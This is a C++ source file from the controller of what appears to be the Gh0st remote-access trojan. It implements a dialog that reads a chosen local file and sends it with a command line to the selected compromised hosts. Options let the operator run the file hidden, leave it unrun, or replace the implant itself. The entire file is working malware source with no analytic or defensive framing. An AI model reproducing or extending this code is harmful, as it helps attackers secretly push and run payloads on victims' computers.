2024-06-23 17:36:53 +08:00

177 lines
3.8 KiB
C++

// LocalUpload.cpp : implementation file
//
#include "stdafx.h"
#include "gh0st.h"
#include "LocalUpload.h"
#include "Gh0stView.h"
#include "PcView.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
extern CGh0stView* g_pTabView;
/////////////////////////////////////////////////////////////////////////////
// CLocalUpload dialog
CLocalUpload::CLocalUpload(CWnd* pParent /*=NULL*/)
: CDialog(CLocalUpload::IDD, pParent)
{
//{{AFX_DATA_INIT(CLocalUpload)
m_edit_path = _T("");
m_edit_cmd_line = _T("");
//}}AFX_DATA_INIT
}
void CLocalUpload::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CLocalUpload)
DDX_Control(pDX, IDC_COMBO_TYPE, m_combo_type);
DDX_Text(pDX, IDC_EDIT_LOCAL_PATH, m_edit_path);
DDX_Text(pDX, IDC_EDIT_CMD_LINE, m_edit_cmd_line);
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CLocalUpload, CDialog)
//{{AFX_MSG_MAP(CLocalUpload)
ON_BN_CLICKED(IDC_BUTTON_PATH, OnButtonPath)
ON_CBN_SELCHANGE(IDC_COMBO_TYPE, OnSelchangeComboType)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CLocalUpload message handlers
BOOL CLocalUpload::OnInitDialog()
{
CDialog::OnInitDialog();
// TODO: Add extra initialization here
OnButtonPath();
m_combo_type.InsertString(0,"正常运行");
m_combo_type.InsertString(1,"隐藏运行");
m_combo_type.InsertString(2,"不 运 行");
m_combo_type.InsertString(3,"更新服务端");
m_combo_type.SetCurSel(0);
m_type = 0;
return TRUE; // return TRUE unless you set the focus to a control
// EXCEPTION: OCX Property Pages should return FALSE
}
void CLocalUpload::OnButtonPath()
{
// TODO: Add your control notification handler code here
CFileDialog dlg(FALSE, NULL,NULL, OFN_HIDEREADONLY, "All Files (*.*)|*.*||", this);
if(dlg.DoModal () != IDOK)
return;
SetDlgItemText(IDC_EDIT_LOCAL_PATH,dlg.GetPathName());
}
typedef struct
{
BYTE bToken;
UINT nType;
char lpCmdLine[MAX_PATH];
char lpFileName[100];
}LOCALUP;
void CLocalUpload::OnOK()
{
// TODO: Add extra validation here
UpdateData(TRUE);
if (m_edit_path=="")
{
AfxMessageBox("请选择要上传的文件");
return;
}
CPcView* pView = NULL;
pView = DYNAMIC_DOWNCAST(CPcView, CWnd::FromHandle(g_pTabView->m_wndTabControl.GetSelectedItem()->GetHandle()));
int nItems = pView->m_pListCtrl->GetItemCount();
if ( nItems == 0)
{
AfxMessageBox( "没有选择主机" );
return;
}
FILE *file=fopen(m_edit_path,"rb");
if (file == NULL)
{
AfxMessageBox("文件读取失败!");
return;
}
// 读取文件
unsigned char *data = NULL;
size_t size;
fseek(file, 0, SEEK_END);
size = ftell(file);
data = (unsigned char *)malloc(size);
fseek(file, 0, SEEK_SET);
fread(data, 1, size, file);
fclose(file);
int nPos = m_edit_path.ReverseFind('\\');
m_edit_path = m_edit_path.Right(m_edit_path.GetLength() - nPos -1);
LOCALUP LocaUp;
ZeroMemory(&LocaUp,sizeof(LOCALUP));
LocaUp.bToken = COMMAND_LOCAL_UPLOAD;
LocaUp.nType = m_type;
lstrcpy(LocaUp.lpCmdLine , m_edit_cmd_line);
lstrcpy(LocaUp.lpFileName, m_edit_path.GetBuffer(0));
int nPacketLength = sizeof(LOCALUP) + size;
LPBYTE lpPacket = new BYTE[nPacketLength];
memcpy(lpPacket,&LocaUp,sizeof(LOCALUP));
memcpy(lpPacket + sizeof(LOCALUP),data,size);
pView->SendSelectCommand(lpPacket,nPacketLength);
if (data)
free(data);
if(lpPacket)
delete[] lpPacket;
AfxMessageBox("指令发送成功,传输文件过大时,请耐心等候!");
CDialog::OnOK();
}
void CLocalUpload::OnSelchangeComboType()
{
// TODO: Add your control notification handler code here
UpdateData(TRUE);
m_type = m_combo_type.GetCurSel();
switch(m_type)
{
case 0:
case 1:
GetDlgItem(IDC_EDIT_CMD_LINE)->EnableWindow(TRUE);
break;
case 2:
case 3:
GetDlgItem(IDC_EDIT_CMD_LINE)->EnableWindow(FALSE);
SetDlgItemText(IDC_EDIT_CMD_LINE,"");
break;
default:
break;
}
}